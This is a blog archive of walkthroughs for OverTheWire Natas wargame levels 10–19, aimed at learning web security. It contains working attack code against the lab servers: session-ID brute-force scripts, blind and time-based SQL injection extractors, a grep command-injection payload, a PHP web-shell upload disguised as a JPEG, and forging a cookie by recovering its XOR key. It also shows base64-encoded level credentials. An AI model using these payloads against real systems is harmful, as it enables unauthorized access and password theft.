Archives

All posts for the month January, 2015

natas level 19 msg

This is a really fabulous hint.  We know we’ll have to brute force the session ID again, and we also know the pattern is not sequential like the previous level, so lets start checking out some sample session IDs:

natas 19 test poop

natas level 19 test admin

Hmmm, all the session IDs consist of letters a-f and digits 0-9, maybe they are in hex?

natas level 19 xxd

xxd – make a hexdump or do the reverse.

It looks like the new pattern is to prepend a random number number plus a dash  to whatever we choose as our username.  So, all we have to do is brute force in the same fashion as last level.  The only difference is that our session ID has to be hex encoded and following their format of “‘xx’-‘username'”.  Here’s what it looks like coded out:

<?php
function ascii2hex($ascii) {
    $hex = '';
    for ($i = 0; $i < strlen($ascii); $i++) {
        $byte = strtolower(dechex(ord($ascii{$i})));
        $byte = str_repeat('0', 2 - strlen($byte)).$byte;
        $hex.=$byte;
    }
    return $hex;
}

for ($i = 0; $i < 700; $i++) {
    $url = 'http://natas19.natas.labs.overthewire.org/index.php';
    $data = array('username' => 'admin', 'password' => '');

    // use key 'http' even if you send the request to https://...
    $options = array(
        'http' => array(
            'header'  => "Accept: text/html, application/xhtml+xml, */*\r\nReferer: http://natas19.natas.labs.overthewire.org/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\nHost: natas19.natas.labs.overthewire.org\r\nContent-Length: 24\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\nCookie: __cfduid=d672af779cf6a1789ade21ac2f577870b1417409322; __utma=176859643.63743471.1417409345.1418159358.1418253998.5; __utmz=176859643.1417409345.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=".ascii2hex($i."-admin")."\r\nAuthorization: Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ),
    );
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false,     $context);
    $result = gzinflate( substr($result, 10, -8));
    echo $i."\n";
    if (!(strpos($result, "You are logged in as a regular user."))) {
        var_dump($result);
        break;
    }
    //var_dump($result);
}
?>

natas 19 win

natas level 18 message

No matter what you log in as it says “You are logged in as a regular user. Login as an admin to retrieve credentials for natas19”.

We need to get the session where $_SESSION[‘admin’] == 1, but how do we know which PHPSESSID is associated with this?

natas level 18 source snippet 1

Well earlier in the code we see there is a maximum of 640 PHPSESSIDs:

natas 18 source 2

That shouldn’t take too long to brute force.  Let’s whip up a quick script which will try to login with username ‘admin’ and every PHPSESSID from 1 to 640.

<?php
for ($i = 0; $i < 700; $i++) {
    $url = 'http://natas18.natas.labs.overthewire.org/index.php';
    $data = array('username' => 'admin', 'password' => '');

    // use key 'http' even if you send the request to https://...
    $options = array(
        'http' => array(
        'header'  => "Accept: text/html, application/xhtml+xml, */*\r\nReferer: http://natas18.natas.labs.overthewire.org/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip;q=0, deflate\r\nHost: natas18.natas.labs.overthewire.org\r\nContent-Length: 24\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\nCookie: __cfduid=d672af779cf6a1789ade21ac2f577870b1417409322; __utma=176859643.63743471.1417409345.1418159358.1418253998.5; __utmz=176859643.1417409345.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=".$i."\r\nAuthorization: Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==\r\n",
        'method'  => 'POST',
        'content' => http_build_query($data),
        ),
    );
    $context  = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    $result = gzinflate( substr($result, 10, -8));
    echo $i."\n";
    if (strpos($result, "You are an admin.")) {
        var_dump($result);
        break;
    }
    //var_dump($result);
}
?>

To get all the correct header values, I tried to login with burp and pasted the header into my code above (the only exception being that PHPSESSID=$i 😀 hehehe).  The server kept returning the page gzipped, lines 14 – 16 return it black to clear text.  We check for the string “You are an admin.” in the response of each request we make, and when it is found we halt execution.

natas 18 win

natas level 17 msg

Our username check is back, and this time it’s not telling us anything:

natas level 17 source

It looks like they forgot to uncomment all the messages before they published this file.  That’s ok, we can take the same strategy as the other blind sql level, and use an if statement combined with the sleep() function to tell us if we have the correct character.  In the code below, execution will be halted for two seconds if we have the correct character.  We time the length of execution, if it is greater than 2000 milliseconds (2 seconds) we know we have the right character and move on to the next index:

var start = new Date().getTime();
var end = new Date().getTime();
string = "";
for (j = 1; j < 33; j++)  {
    for(i = 48; i < 123; i++) { //123
        if (i > 57 && i < 65) { continue; }
        if (i > 90 && i < 97) { continue; }
        query = 'username=natas18" and if(binary(SUBSTRING(password,' + j + ', 1)) = "' + String.fromCharCode(i) + '", sleep(2), 0) and "1" = "1';
        start = new Date().getTime();  //start timing
        xhr = new XMLHttpRequest();
        xhr.open("POST", "http://natas17.natas.labs.overthewire.org/index.php", false);
        xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xhr.send(query);
        console.log(query);
        console.log(string);
        end = new Date().getTime();  //end timing
        if (end - start > 2000) {
            console.log(String.fromCharCode(i));
            //console.log(xhr.response);
            string += String.fromCharCode(i);
            break;
        }
    }
}
console.log(string);

You may have to increase the sleep time if your internet connection is slow:

natas level 17 win

 

natas level 16 msg

Looks like our old friend is back, and this time they are filtering MORE STUFF OMG!!!  TOO BAD IT’S STILL NOT ENOUGH FTW!!!

NATAS LEVEL 16 SOURCE

You can see they are filtering the following characters:

; | & ` \ ‘ ”

On top of that they put our input inside of double quotes, so we will not be able to break out of the grep command as we had in previous levels.  Fortunately they did leave one option for us to execute any command we want on the server, we just won’t have the output printed back to us…this is ok.

Let’s try throwing this into the form and see what happens:

$(grep -o ^a /etc/natas_webpass/natas17)

natas level 16 test 1

It looks like we somehow matched every single line in dictionary.txt.  What is that hackish looking input that we passed to server doing anyway? $() is similar to the backtick operator, think of it as saying “the result of”.  So we are setting $key equal to the result of grepping for the letter a in the file /etc/natas_webpass/natas17.  Somehow this ended up matching all the words in dictionary.txt, but how?  For clarity let’s see what $(grep -o ^a /etc/natas_webpass/natas17) actually looks like by testing on our own system.  Since we don’t actually have the file natas17, we’ll make up our own for testing purposes:

natas level 16 test 2

You can see that there is no letter ‘a’ in natas17, and more importantly it does not start with a letter ‘a’ (the ^ is a regex operator that says match start of a line).  This means that our grep command is not returning anything.  Since we are grepping for the result of a command that hasn’t returned anything, everything is matched, which is why we see the whole dictionary.txt file.

What happens if we DO have a match?

natas level 16 test 3

This time our inner grep command returned ‘th’ so the outer grep command searched for ‘th’ inside of dictionary.txt, and we saw the matches.  So now we know that if we grep for something in natas17 that isn’t there, nothing will be returned, and out the outer grep will match everything.  If we grep for something that IS in natas17, then something WILL return, and the outer grep will return LESS THAN the entire dictionary.txt.  Great so let’s hack.

This is basically like our blind sql injection level.  We know what the page looks like when we’re on to something, and we know what it looks like when we’re not quite there, so lets whip something up to do the heavy lifting:

string = "";
for (j = 0; j < 32; j++)  {
    for(i = 48; i < 127; i++) {
        if (i == 34) { continue; }
        if (i == 92) { continue; }
        if (i == 60) { continue; }
        if (i == 59) { continue; }
        if (i == 96) { continue; }
        if (i == 124) { continue; }
        xhr = new XMLHttpRequest();
        xhr.open("GET", "http://natas16.natas.labs.overthewire.org/?needle=$(grep -o ^" + string + String.fromCharCode(i) + " /etc/natas_webpass/natas17)&submit=Search", false);
        xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xhr.send();
        //console.log(xhr.response);
        if (xhr.response.length < 4000) {
            string += String.fromCharCode(i);
            console.log(string);
            break;
        }
    }
}
console.log(string);

If this is not self explanatory feel free to ask questions in the comments below, or hit up google.

natas level 16 win

natas level 15 msg

We have a box here we can use to check whether a username exists or not.  I started out trying some regular inputs like this:

natas level 15 test 1

Then I tried something more devious, a single quotation mark:

natas level 15 test 2

We get an error message, but it’s not as specific as the last level.  This time it just tells us we have an error.  By looking at the source code it looks like we should be able to inject SQL code via $_REQUEST[“username”] by adding quotes, just like level 14.  From our quick tests we know that when there is a valid query it returns either:

“This user exists” OR “This user doesn’t exist.”

And if our query is invalid syntactically it returns:

“Error in query.”

This is an example of Blind SQL Injection.

Let’s see what would happen if we passed an argument like:

natas16 ” and SUBSTRING(password, 1, 1) = “a

natas level 15 test 3

Here we are testing to see if the user natas16 exists (which we know is true) AND that the first character of the password belonging to natas16 is “a”.  Here we can tell that “a” is not the first character of the password because we get the response “This user doesn’t exist”.  Let’s guess another letter:

natas level 15 test 5

We guessed “W” and it returned “This user exists”.  This tells us that the first character of the password is “W”.  Now we could go along this way guessing every character manually, and making sure to increase our substring() index.  Or we could be lazy and code a quick javascript to do this for us.  Let’s try that:

natas level 15 first try script

Splendid!  Only problem is when we try that password it doesn’t work :/

Hmmm all the letters are uppercase.  Turns out the equals operator is case insensitive when comparing strings.  Problem and solution demonstrated below by using the binary() function:

natas level 15 binary operator

Here’s the final version of the script to play with.  You can run it by opening the natas15 page, and hitting ctrl+shift+k (if you are using the correct browser) then pasting in the code and hitting enter.  I won’t outline what it’s doing, but if you aren’t sure of what’s going on feel free to comment or google the functions yourself.

string = "";
for (j = 1; j < 40; j++)  {
    for(i = 48; i < 127; i++) {
        if (i == 34) { continue; }
        if (i == 92) { continue; }
        query = 'username=natas16 " and binary(SUBSTRING(password,' + j + ', 1)) = "' + String.fromCharCode(i);
        xhr = new XMLHttpRequest();
        xhr.open("POST", "http://natas15.natas.labs.overthewire.org/index.php", false);
        xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xhr.send(query);
        if (xhr.response.indexOf("This user doesn't exist.") == -1) {
            console.log(String.fromCharCode(i));
            string += String.fromCharCode(i);
            break;
        }
    }
}
console.log(string);

level 14 msg

Just a plain looking login page, lets jump to the source code:

natas level 14 source code

So $query is being initialized with unsanitized user input via $_REQUEST[“username”] and $_REQUEST[“password”].  I wonder what would happen if we put a quotation mark(“) in either field?  Let’s try it, we’ll also include “?debug=1” in the URL because per lines 20 – 22 this will show us the actual query which is executed:

natas level 14 error msgs

Well that’s interesting, we got an error message, which is telling us that the argument to mysql_num_rows() should be a boolean value (“true” or “false”).  Well in this case the argument to mysql_num_rows() is the return value of mysql_query($query, $link).  Something must be causing it to return an error rather than boolean.  Our argument to mysql_query() is:

SELECT * from users where username=””” and password=””

It’s saying username=””, which is just an empty username, then there is a random / extraneous quotation mark, then it continues with the query.  The extra quotation makes this query invalid.  It also tells us we can hack the query, and maybe get authenticated without a password 😀

Let’s the setting the username to natas15, and the password to (” or “1” = “1).

natas level 14 win

We won!  So the final query that was executed on the database was this:

SELECT * from users where username=”natas15″ and password=”” or “1” = “1”

Select all the rows from the table “users” where the username equals natas15 and the password (is the actual password for natas15) or 1=1.  Well we didn’t know the password for natas15, but we knew we could add another logical operator to our query, which in this case was the “OR” operator.  1 = 1, always evaluates to “true”, and anything OR’d with true is always true.  So by adding OR 1 = 1 we make the condition evaluate to true even though we don’t have the password.

natas level 13 msg

This is just like level 12 except this time they claim they are checking that the uploaded files are actually images.  If we peek at the source we can see they are using the function exif_imagetype() to do the check.  Here’s the code snippet:

if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
    echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
    echo "File is not an image";

According to php.net “exif_imagetype() reads the first bytes of an image and checks its signature”.  So maybe if we just preserve the first bytes of an image file and add our hackish php code in after we can make this work.

Let’s open up a random jpg in a hex editor and try it out:

natas 13 hedit

I guessed at how many bytes were needed for the header, added the php, and deleted the rest to keep it under the maximum file size.  We’ll save it as win.php, edit the name in burp as we upload, and see what happens:

natas 13 win

it printed some of the extra jpg stuff, but you can see where that ends, and our code starts in the Hex editor.  The remaining characters are the password ^.^

natas level 12 msg

We actually don’t even need to look at the source code to beat this level.  They are allowing us to upload a JPEG up to 1KB in size.  I’m willing to bet that they don’t even check to see if we really are uploading a JPEG.  If I’m right we should be able to upload a hackish php file that will display the contents of /etc/natas_webpass/natas13.  Let’s create the file “win.php” and try it out.

<?system("cat /etc/natas_webpass/natas13");?>

Pretty straight forward.  system() executes commands on the server, and the command we are issuing is to cat the password file for natas13.

natas 12 failure

The problem is their upload script is saving the file is a .jpg.  The server will not attempt to execute php code unless its saved in a .php file.  We might be able to bypass this with burp.

natas 12 burp

So we modify the filename in the HTTP header before sending it off:

natas 12 almost win

It changed the filename, but kept the .php extension, let’s check it out

natas 12 win:

 

 

natas 11 msg

This level has some meat to it so let’s jump right to the source code:

 <html>
<head>
    <!-- This stuff in the header has nothing to do with the level -->
    <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
    <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
    <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
    <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
    <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
    <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
    <script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script>
</head>
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $outText = '';
    $text = $in;

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(array_key_exists("data", $_COOKIE)) {
        if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
            if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
                $mydata['showpassword'] = $tempdata['showpassword'];
                $mydata['bgcolor'] = $tempdata['bgcolor'];
            }
        }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);

?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

We’ll follow the flow of execution and take it (almost) line by line.

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

This creates an array called $defaultdata with two keys “showpassword” and “bgcolor” with values set to “no” and “#ffffff” respectively.

$data = loadData($defaultdata);

This sets the value of $data equal to the return value of loadData($defaultdata).  We’ll jump inside the function to see what exactly it returns.

global $_COOKIE;

According to php.net this line is needless as “[$_COOKIE] is a ‘superglobal’, or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. ”

$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);

First, the “data” key of the cookie is base_64 decoded.  What is that value anyway?  We can see it by looking at the cookie field in the HTTP header:

natas 11 http header

($_COOKIE[“data”] is equal to ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=)

After it’s base64 decoded it is passed as an argument to xor_encrypt, so we’ll jump inside that function.

function xor_encrypt($in) {
    $key = '<censored>';
    $outText = '';
    $text = $in;

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

return $outText;
}

The first line of the function sets the XOR encryption key, which is our ticket to beating this level, and is censored for that reason.  Next $outText is initialized. Then $text is set to $in which in this case is the base 64 decoded value of $_COOKIE.  A for loop is set up to loop once for each character in $text.  Inside the loop $outText is appended by the the value resulting from $text[$] being XORd with $key[$i % strlen($key)] (^ is the XOR operator in php).  That might seem like a convoluted and confusing array index so I’ll take a moment to explain it.  % is the modulus operator, and it spits out the remainder after division is performed.  It is useful for creating repeating patterns of numbers and I’ll provide a brief example.  If the length of $key is 5 and the length of text is 20, “$i % strlen($key)” would look like this:

$i = 0   and $i % 5 = 0
$i = 1   and $i % 5 = 1
$i = 2   and $i % 5 = 2
$i = 3   and $i % 5 = 3
$i = 4   and $i % 5 = 4
$i = 5   and $i % 5 = 0
$i = 6   and $i % 5 = 1
$i = 7   and $i % 5 = 2
$i = 8   and $i % 5 = 3
$i = 9   and $i % 5 = 4
$i = 10 and $i % 5 = 0
$i = 11 and $i % 5 = 1
$i = 12 and $i % 5 = 2
$i = 13 and $i % 5 = 3
$i = 14 and $i % 5 = 4
$i = 15 and $i % 5 = 0
$i = 16 and $i % 5 = 1
$i = 17 and $i % 5 = 2
$i = 18 and $i % 5 = 3
$i = 19 and $i % 5 = 4

So $key will continue iterating over $text for each character in $text.

Once this is done $outText is returned.  Jumping back into loadData() $outText is then json_decoded and $tempdata is set.  Next 4 conditions are tested for.  First the existence of the “data” key in the $_COOKIE field of our HTTP header.  Then we test to see if $tempdata is an array, if it is we test whether that array contains a key called “showpassword”, and if so we test to see if there is a key called “bgcolor”.  If those conditions are all met, $mydata[‘showpassword’] is set equal to $tempdata[‘showpassword’], and this will be crucial in our ability to cause unintended results.  Finally we return $mydata and $data is set.  $data is now looks like the following, if you left bgcolor set to #ffffff in the form:

{“showpassword”:”no”,”bgcolor”:”#ffffff”}

We can safely ignore the two conditions that follow as they are concerned only with bgcolor and have nothing to do with us winning.

After that savaData($data) is called.  saveData() sets the “data” key of the $_COOKIE by first json_encoding $data, then xor_encrypting it, and finally base 64 encoding it.

Finally we have this last condition:

if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}

So all we have to do is set our cookie to the following for the win:

{“showpassword”:”yes”,”bgcolor”:”#ffffff”}

Unfortunately, when we set it, it must be in their encoding scheme, which includes the XOR encryption, and we don’t have the key 🙁

We do have a way to figure out the key though, and that is because we know the clear text and cipher text values of $data.  If we XOR the two together we should get the key.  Let’s write our own script to perform this and see what we get.

<?php

$encrypted = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");
$clear = '{"showpassword":"no","bgcolor":"#ffffff"}';

for ($i = 0; $i < strlen($encrypted); $i++) {
    print $encrypted[$i] ^ $clear[$i];
}
echo "\n";

This script just goes along and XORs each plain text character with its cipher text counter part one by one and spits out the result:

natas 11 xor.php

“qw8J” is what is repeating so that must be the key.  Let’s use another script to encode {“showpassword”:”yes”,”bgcolor”:”#ffffff”} with their scheme, we’ll then set that as our cookie in burp suite and see what happens.

$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i = 0;$i < strlen($text); $i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function saveData($d) {
    return base64_encode(xor_encrypt(json_encode($d)));
}

echo saveData($defaultdata)."\n";

The output:

natas level 11 cookie win

So we throw that in the cookie and:

natas 11 final win

natas10 message

This level is almost identical to the previous, except for some minor input sanitation.  The script is now checking for the existence of three characters, “;”, “|”, and “&” in the user input.  If they are found we receive an error message.  See for yourself:

natas level 10 source

The great thing about this is that none of those characters are required for us to cause unintended results here.  We can use the same attack string from the previous level.  The only difference is that dictionary.txt will be searched as well because we are not ending our command with a “;” as before.  The code will end up looking like this:

passthru("grep -i  .* /etc/natas_webpass/natas11 dictionary.txt");

And the win:

Capture